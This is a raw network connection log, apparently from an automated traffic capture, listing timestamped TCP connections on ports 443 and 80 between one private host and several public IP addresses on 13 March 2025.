Mar 13, 2025 10:07:50.797557116 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.797632933 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.797646999 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.804035902 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.804066896 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.804204941 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.804204941 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.804224014 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.804323912 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.812284946 CET	80	49713	172.217.18.99	192.168.2.12
Mar 13, 2025 10:07:50.824148893 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.824157953 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.824196100 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.824203968 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.824208975 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.824239969 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.824270964 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.824275017 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.824291945 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.824343920 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.827088118 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.827115059 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.827255964 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.827255964 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.827277899 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.827497959 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.833013058 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.835450888 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.835531950 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.835552931 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.835586071 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.835644007 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.835848093 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.835881948 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.841104031 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.841141939 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.841160059 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.841177940 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.841259956 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.841341019 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.842047930 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.842061996 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.849380970 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.849399090 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.849457979 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.849476099 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.849487066 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.849539042 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.861819983 CET	49713	80	192.168.2.12	172.217.18.99
Mar 13, 2025 10:07:50.865468979 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.865525961 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.865561008 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.865582943 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.865597010 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.865806103 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.880605936 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.880642891 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.880757093 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.880780935 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.880975008 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.908001900 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.908035994 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.908082962 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.908107996 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.908138990 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.908164024 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.915164948 CET	443	49711	2.23.227.208	192.168.2.12
Mar 13, 2025 10:07:50.915244102 CET	49711	443	192.168.2.12	2.23.227.208
Mar 13, 2025 10:07:50.921345949 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.921370983 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.921473980 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.921489954 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.921542883 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.933733940 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.933763027 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.933826923 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.933845997 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.933852911 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.933897018 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.944750071 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.944772005 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.944838047 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.944852114 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.944933891 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.956024885 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.956046104 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.956103086 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.956124067 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.956336975 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.968271017 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.968295097 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.968353033 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.968373060 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.968424082 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.979243994 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.979274035 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.979307890 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.979331017 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.979357004 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.979386091 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.987754107 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.987786055 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.987858057 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.987876892 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.988001108 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:51.000737906 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:51.000768900 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:51.000808954 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:51.000830889 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:51.000873089 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:51.000884056 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:51.005388975 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:51.005469084 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:51.005481005 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:51.005505085 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:51.005534887 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:51.005568981 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:51.005914927 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:51.005930901 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:51.022403955 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.022444010 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.022516012 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.022828102 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.022871971 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.023240089 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.023420095 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.023432016 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.023988962 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.023999929 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.107057095 CET	49719	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.107100010 CET	443	49719	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.107229948 CET	49719	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.107975960 CET	49719	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.108000040 CET	443	49719	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.108679056 CET	49720	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.108717918 CET	443	49720	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.108784914 CET	49720	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.109102011 CET	49720	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.109122038 CET	443	49720	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.110241890 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.110270977 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.110321999 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.111223936 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.111239910 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.421474934 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.421536922 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:51.421762943 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.422564983 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:51.422583103 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.079401970 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.080033064 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.080049038 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.081084013 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.081187010 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.082855940 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.082855940 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.082930088 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.129599094 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.129620075 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.144290924 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.144690990 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.144705057 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.145755053 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.145804882 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.146358967 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.146420002 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.146672010 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.177500963 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.188333035 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.188982010 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.189002991 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.234858036 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.247855902 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.248477936 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.248497963 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.249866009 CET	443	49720	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.250027895 CET	443	49719	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.250122070 CET	49720	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.250133991 CET	443	49720	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.250225067 CET	49719	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.250252008 CET	443	49719	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.250921011 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.251010895 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.251303911 CET	443	49719	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.251370907 CET	49719	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.252079010 CET	443	49720	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.252099037 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.252136946 CET	49720	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.252207994 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.252660036 CET	49719	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.252727032 CET	443	49719	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.252984047 CET	49720	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.253113031 CET	443	49720	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.253215075 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.253216028 CET	49719	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.253223896 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.253226042 CET	443	49719	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.253262997 CET	49720	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.253269911 CET	443	49720	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.298624039 CET	49720	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.298628092 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.298919916 CET	49719	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.587743044 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.588175058 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.588190079 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.589262962 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.589361906 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.589859962 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.589935064 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.590055943 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.590069056 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.649152994 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.765821934 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.768083096 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.768176079 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.768193960 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.768240929 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.825380087 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.825408936 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.825531006 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.825562954 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.825562954 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.825588942 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.918106079 CET	49717	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.918150902 CET	443	49717	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.940953970 CET	443	49720	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.963443041 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.968219042 CET	443	49720	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.968322039 CET	49720	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.969041109 CET	49720	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.969058990 CET	443	49720	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.971306086 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:53.971354961 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:53.971414089 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:53.971729994 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:53.971752882 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:53.974361897 CET	49728	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:53.974400997 CET	443	49728	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:53.974489927 CET	49728	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:53.974792004 CET	49728	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:53.974811077 CET	443	49728	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:53.977514029 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.977579117 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.977586031 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.977689981 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.978697062 CET	49721	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:53.978723049 CET	443	49721	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:53.981673002 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:53.981714964 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:53.981812954 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:53.982063055 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:53.982079983 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:54.008373022 CET	443	49719	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.008452892 CET	443	49719	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.008554935 CET	49719	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.009161949 CET	49719	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.009181976 CET	443	49719	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.028723001 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:54.028767109 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:54.028844118 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:54.029202938 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:54.029217958 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:54.066478014 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.095876932 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.095987082 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.096035957 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.096065998 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.096092939 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.096106052 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.096225023 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.106254101 CET	49716	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.106280088 CET	443	49716	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.113423109 CET	49731	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:54.113476992 CET	443	49731	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:54.113562107 CET	49731	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:54.113917112 CET	49731	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:54.113933086 CET	443	49731	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:54.405419111 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.405700922 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.405774117 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.405792952 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.405891895 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.441553116 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.445017099 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.445080042 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.445095062 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.445108891 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.445157051 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.445506096 CET	49722	443	192.168.2.12	3.75.10.80
Mar 13, 2025 10:07:54.445521116 CET	443	49722	3.75.10.80	192.168.2.12
Mar 13, 2025 10:07:54.448972940 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:54.449007034 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:54.449090004 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:54.449501991 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:54.449512005 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:54.467698097 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:54.467717886 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:54.470794916 CET	49733	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:54.470832109 CET	443	49733	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:54.470909119 CET	49733	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:54.471801043 CET	49733	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:54.471817970 CET	443	49733	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:55.048638105 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.075594902 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.075715065 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.075752020 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:55.075841904 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:55.076078892 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.076102018 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.076128960 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:55.076144934 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.076251984 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:55.076878071 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.076895952 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.077014923 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:55.077022076 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.077121973 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.077172995 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:55.077183008 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.078207016 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.078264952 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.078408957 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:55.078418016 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.078576088 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:55.078794956 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.131336927 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:55.131356955 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:55.178232908 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:56.096452951 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.096791029 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.096811056 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.097860098 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.097929955 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.098263979 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.098320007 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.098462105 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.098469019 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.102222919 CET	443	49728	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.102395058 CET	49728	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.102411032 CET	443	49728	3.125.36.175	192.168.2.12
